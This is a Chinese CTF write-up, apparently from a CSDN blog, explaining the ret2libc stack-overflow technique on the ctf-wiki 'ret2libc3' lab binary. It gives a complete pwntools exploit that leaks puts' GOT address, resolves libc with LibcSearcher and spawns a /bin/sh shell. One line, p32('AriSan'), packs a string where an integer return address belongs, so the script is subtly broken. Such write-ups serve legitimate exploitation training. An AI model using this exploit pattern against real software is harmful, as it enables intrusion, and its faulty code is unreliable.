ret2libc | by AriSan

基本特征:程序开启了NX不可执行保护,无法执行我们注入的 shellcode

漏洞原理:在栈溢出的基础上,改变返回地址到某个函数的 plt 处,或者某个函数的具体位置(函数对应 got 表项的内容),改变寄存器的参数,达到执行system('/bin/sh')的目的

若程序提供了system()函数,我们可以直接选择返回到 plt 处,让它帮我们找到并执行函数,但是一般都没有这等好事。所以这个时候,我们就要利用ELF文件执行时的动态链接延时绑定,也就是说 got 表泄露的是已经执行过的函数的地址。所以我们的第一次sendline()是用来获取某个已执行函数的真实地址,再利用工具LibcSearcher来获取 libc 版本,计算出 libc 的基址,再计算出 libc 中的 system 和 /bin/sh 的地址

工具: LibcSearcher

例题: ctf-wiki_basic rop_ret2libc3
在这里插入图片描述
没有后门函数
checksec发现开启了NX保护

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

通过ida查看伪代码发现明显的溢出点gets()同时我们还可以让puts()函数,作为输出函数,执行后泄露出自己真实的地址

再通过gdb得到栈空间为112

原理图如下,第一次发送payload,利用puts()函数泄露出自己的真实地址,再返回到_start()函数(程序的真正入口,方便再次执行system('/bin/sh')

通过泄露出的puts()got 地址算出 system/bin/sh 的地址,再次利用gets()覆盖泄露出的 system 的地址
在这里插入图片描述

exp:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
payload1='A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter("!?",payload1)  #第一次溢出
puts_addr=u32(p.recv(4))  #泄露地址
libc=LibcSearcher('puts',puts_addr)   #获取libc版本号
libcbase=puts_addr-libc.dump("puts")  #计算基址
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")
payload2='A'*112+p32(system_addr)+p32('AriSan')+p32(binsh_addr)  #第二次溢出
p.sendlineafter("!?",payload2)
p.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值